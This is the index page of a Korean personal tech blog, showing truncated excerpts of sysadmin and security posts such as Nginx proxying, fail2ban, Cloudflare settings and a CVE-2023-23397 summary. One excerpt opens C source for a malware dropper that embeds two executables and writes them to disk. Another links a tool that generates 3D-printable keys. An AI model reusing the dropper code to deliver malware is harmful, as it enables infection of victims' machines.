본문 바로가기
  • Tried. Failed. Logged.
728x90

분류 전체보기747

NGINX - 리버스 프록시 설정 Nginx 리버스 프록시 간단 요약1. 설치 bashsudo apt updatesudo apt install nginx2. 설정 파일 생성 bashsudo nano /etc/nginx/sites-available/example.com3. 기본 설정 예시 nginxserver { listen 80; server_name example.com www.example.com; location / { proxy_pass http://localhost:3000; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-.. 2025. 11. 20.
맥북 High Sierra(구버전 OS) "복구 서버에 연결할 수 없습니다" 해결 ※읽기 전에 잠깐 인터넷 연결을 확인 하는 것을 권장※와이파이 등 인터넷 연결이 정상인지 확인하는 것이 좋다. 유틸리티에서 터미널을 연 다음 ping 8.8.8.8 혹은 curl http://www.apple.com/library/test/success.html 을 입력해서 인터넷 연결이 잘되는지 우선 확인 출처: https://www.youtube.com/watch?v=ouNQS36dIBw 1. Window > Installer Log 2. Installer Log에서 OSISSoftwareUpdateController: Failed... URL 주소 복사 3. 유틸리티 > 터미널 열기 4. 터미널에 다음 명령어 입력(주의 https를 http로 수정) nvram IASUCatalogURL="ht.. 2025. 11. 16.
악성코드 - 드롭퍼 구현(실행 파일 합치기) main.c#include #include #include "a_exe.h"#include "b_exe.h"// 이 부분은 실제 A.exe와 B.exe의 바이트 배열로 교체해야 함extern unsigned char a_exe[];extern unsigned int a_exe_len;extern unsigned char b_exe[];extern unsigned int b_exe_len;// 파일로 저장하는 함수void drop_file(const char *filename, const unsigned char *data, unsigned int len) { HANDLE hFile = CreateFileA(filename, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FIL.. 2025. 11. 4.
NAS - 시놀로지 나스 HTTP/HTTPS 포트 관련 SSL 인증서 발급 이후 TLS/SSL 통신을 하기 위해서는 5001번 포트로 접근해야 함HTTPHTTPS50005001 예) http://mynas:5000 -> https://mynas:5001 2025. 10. 5.
아파치 - 클라우드 플레어 아이피만 접근 허용(.htaccess) nano /var/www/html/.htaccess deny from allallow from 173.245.48.0/20allow from 103.21.244.0/22allow from 103.22.200.0/22allow from 103.31.4.0/22allow from 141.101.64.0/18allow from 108.162.192.0/18allow from 190.93.240.0/20allow from 188.114.96.0/20allow from 197.234.240.0/22allow from 198.41.128.0/17allow from 162.158.0.0/15allow from 104.16.0.0/13allow from 104.24.0.0/14allow from 172.64.0.0/1.. 2025. 8. 27.
리눅스 - ssh 로그인 횟수 초과 IP 차단(fail2ban) fail2ban 패키지 설치sudo apt updatesudo apt install fail2ban -y 설정 파일 수정(※jail.conf는 백업용, 실제 설정은 jail.local)sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local fail2ban 설정 sudo nano /etc/fail2ban/jail.local [sshd]enabled = trueport = sshfilter = sshdlogpath = /var/log/auth.logmaxretry = 3bantime = 48hfindtime = 10m maxretry: 허용할 최대 로그인 실패 횟수bantime: 차단 시간(100 = 100초, 10m = 10분, 1h = 1시간)findtime.. 2025. 8. 20.
클라우드 플레어 설정 후 522 에러 발생 원인 웹 서버에 SSL 인증을 지원하지 않는 경우(HTTP/80만 운용 중인 경우) 웹 서버와 클라우드 플레어 서로간 오류가 생기게 됨 해결) SSL/TLS 암호화 > 현재 암호화 모드가 "가변"이어야 함 2025. 8. 18.
Flipper Zero - 키젠(keygen.co) https://keygen.co/ keygenkeygen generates working, high-quality 3D-printable models of keys based on given parameters. Select a key type to get started. Please wait... keygen generates working, high-quality 3D-printable models of keys based on given parameters. To generate a key,keygen.co 2025. 8. 17.
java.security.cert.certpathvalidatorexception trust anchor for certification 에러 ISRG Root X1 혹은 ISRG Root X2 .pem 파일 설치https://letsencrypt.org/certificates/ Chains of TrustThis page describes all of the current and relevant historical Certification Authorities operated by Let’s Encrypt. Note that a CA is most correctly thought of as a key and a name: any given CA may be represented by multiple certificates which all contailetsencrypt.org출처: https://github.com/TeamNewPipe/Ne.. 2025. 8. 13.
모든 인코딩 디코딩 문자 확인 사이트(dencode.com) https://dencode.com/ DenCode | Encoding & Decoding Online ToolsEncoding and Decoding site. e.g. HTML Escape / URL Encoding / Base64 / MD5 / SHA-1 / CRC32 / and many other String, Number, DateTime, Color, Hash formats!dencode.com 2025. 8. 5.
블랙베리 - bar 설치 관련 링크 BAR 파일 설치 프로그램https://github.com/xsacha/Sachesi GitHub - xsacha/Sachesi: Firmware, extractor, searcher and installer for Blackberry 10Firmware, extractor, searcher and installer for Blackberry 10 - xsacha/Sachesigithub.com 터미널 앱(term-48) 아카이브 주소https://archive.org/details/term-48_bb10 2025. 7. 30.
취약점 분석 - CVE-2023-23397 CVE-2023-23397 취약점 정보CVE-2023-23397는 Microsoft Windows 전용 Outlook에 약속을 알려주는 ‘미리 알림’ 기능에 재생할 사운드 파일을 불러오기 위해서 공격자의 SMB 서버로 인증하는 과정에 NTLM 자격 증명을 탈취되는 권한 상승 취약점입니다.해당 취약점을 이용하여 권한 상승이 이루어져 더 큰 피해가 발생할 수 있을 정도로 위험도는 다소 높을 것으로 예상됩니다.조치 방안으로 Outlook을 Build 16130.20306 이상으로 업데이트가 필요하며, SMB 서비스를 이용하지 않을 경우에는 해당 서비스를 비활성화 하거나 SMB TCP/445 포트 아웃바운드를 차단합니다.CVE Number CVE-2023-23397CVSS Score9.8severity(심각도).. 2025. 7. 27.
728x90

티스토리툴바